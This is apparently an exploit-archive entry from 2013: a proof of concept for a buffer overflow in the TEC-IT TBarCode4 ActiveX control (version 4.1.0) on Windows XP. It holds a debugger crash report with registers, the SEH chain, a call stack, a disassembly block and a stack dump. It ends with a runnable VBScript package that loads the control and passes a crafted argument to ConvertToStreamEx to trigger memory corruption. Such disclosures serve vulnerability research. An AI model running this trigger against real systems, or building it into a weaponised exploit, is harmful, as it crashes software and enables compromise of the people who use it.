# Exploit Title: TEC-IT TBarCode OCX ActiveX Control (TBarCode4.ocx 4.1.0 ) BOF poc
# Date: 29.7.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://www.tec-it.com/en/start/Default.aspx
# Software Link: http://www.tec-it.com/en/start/Default.aspx
# Tested on: Windows XP SP3





Exception Code: ACCESS_VIOLATION
Disasm: 7785DFE4  CMP BYTE PTR [EAX+7],5  (ntdll.dll)

Seh Chain:
--------------------------------------------------
1   3C5744   TBarCode4.OCX
2   5AFCD959   VBSCRIPT.dll
3   778A71D5   ntdll.dll


Called From                   Returns To                    
--------------------------------------------------
ntdll.7785DFE4                KERNEL32.765614DD             
KERNEL32.765614DD             TBarCode4.3C0D31              
TBarCode4.3C0D31              TBarCode4.39205E              
TBarCode4.39205E              OLEAUT32.76B83E75             
OLEAUT32.76B83E75             OLEAUT32.76B83CEF             
OLEAUT32.76B83CEF             OLEAUT32.76B8052F             
OLEAUT32.76B8052F             TBarCode4.3BC65B              
TBarCode4.3BC65B              VBSCRIPT.5AF927E5             
VBSCRIPT.5AF927E5             VBSCRIPT.5AF93737             
VBSCRIPT.5AF93737             VBSCRIPT.5AF951AE             
VBSCRIPT.5AF951AE             VBSCRIPT.5AF950CA             
VBSCRIPT.5AF950CA             VBSCRIPT.5AF955A5             
VBSCRIPT.5AF955A5             VBSCRIPT.5AF95951             
VBSCRIPT.5AF95951             VBSCRIPT.5AF9417A             
VBSCRIPT.5AF9417A             SCROBJ.5ABD831F               
SCROBJ.5ABD831F               SCROBJ.5ABD99D3               
SCROBJ.5ABD99D3               SCROBJ.5ABD986E               
SCROBJ.5ABD986E               SCROBJ.5ABD980B               
SCROBJ.5ABD980B               SCROBJ.5ABD97D0               
SCROBJ.5ABD97D0               E140CD                        
E140CD                        E06B44                        
E06B44                        E033B4                        
E033B4                        E03189                        
E03189                        E030FA                        
E030FA                        E02F93                        
E02F93                        KERNEL32.765633AA             
KERNEL32.765633AA             ntdll.77869EF2                
ntdll.77869EF2                ntdll.77869EC5                


Registers:
--------------------------------------------------
EIP 7785DFE4
EAX 00000178
EBX 00000180
ECX 0038EB34 -> 0038F9B4
EDX 0045685A -> 00030000
EDI 00000000
ESI 005B0000 -> F9F249C7
EBP 0038E0D4 -> 0038E0E8
ESP 0038E0C4 -> 00000180


Block Disassembly: 
--------------------------------------------------
7785DFC8  JNZ 77863481
7785DFCE  TEST BYTE PTR [ESI+48],1
7785DFD2  JNZ 778642B3
7785DFD8  TEST BL,7
7785DFDB  JNZ 778ADFE9
7785DFE1  LEA EAX,[EBX-8]
7785DFE4  CMP BYTE PTR [EAX+7],5    <--- CRASH
7785DFE8  JE 778ADFD2
7785DFEE  TEST BYTE PTR [EAX+7],3F
7785DFF2  JE 778ADFE0
7785DFF8  MOV [EBP-4],EAX
7785DFFB  CMP EAX,EDI
7785DFFD  JE 778AE053
7785E003  CMP BYTE PTR [EBX-1],5
7785E007  JE 778ADFFC


ArgDump:
--------------------------------------------------
EBP+8  005B0000 -> F9F249C7
EBP+12  00000000
EBP+16  00000180
EBP+20  0038E130 -> 0038E4F4
EBP+24  003C0D31 -> 64F04D8B
EBP+28  005B0000 -> F9F249C7


Stack Dump:
--------------------------------------------------
38E0C4 80 01 00 00 C0 E3 38 00 00 00 00 00 00 00 00 00  [................]
38E0D4 E8 E0 38 00 DD 14 56 76 00 00 5B 00 00 00 00 00  [......Vv..[.....]
38E0E4 80 01 00 00 30 E1 38 00 31 0D 3C 00 00 00 5B 00  [..............[.]
38E0F4 00 00 00 00 80 01 00 00 C0 E3 38 00 B8 E3 38 00  [................]
38E104 00 00 00 00 00 00 00 00 4A 3C 86 77 33 00 00 00  [........J..w....]




+-- Poc


<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:2FD4F344-D857-4853-BC2F-88D5863BDB57' id='target' />
<script language='vbscript'>
targetFile = "C:\Users\Administrator\Desktop\TBarCode4.ocx"
prototype  = "Function ConvertToStreamEx ( ByVal hDC As Long ,  ByVal eImageType As tag_ImageType ,  ByVal nQuality As Long ,  ByVal nXSize As Long ,  ByVal nYSize As Long ,  ByVal nXRes As Long ,  ByVal nYRes As Long )"
memberName = "ConvertToStreamEx"
progid     = "TBARCODE4Lib.TBarCode4"
argCount   = 7

arg1=1
arg2=1
arg3=1
arg4=1
arg5=1
arg6=1
arg7=-2147483647

target.ConvertToStreamEx arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 

</script></job></package>




-end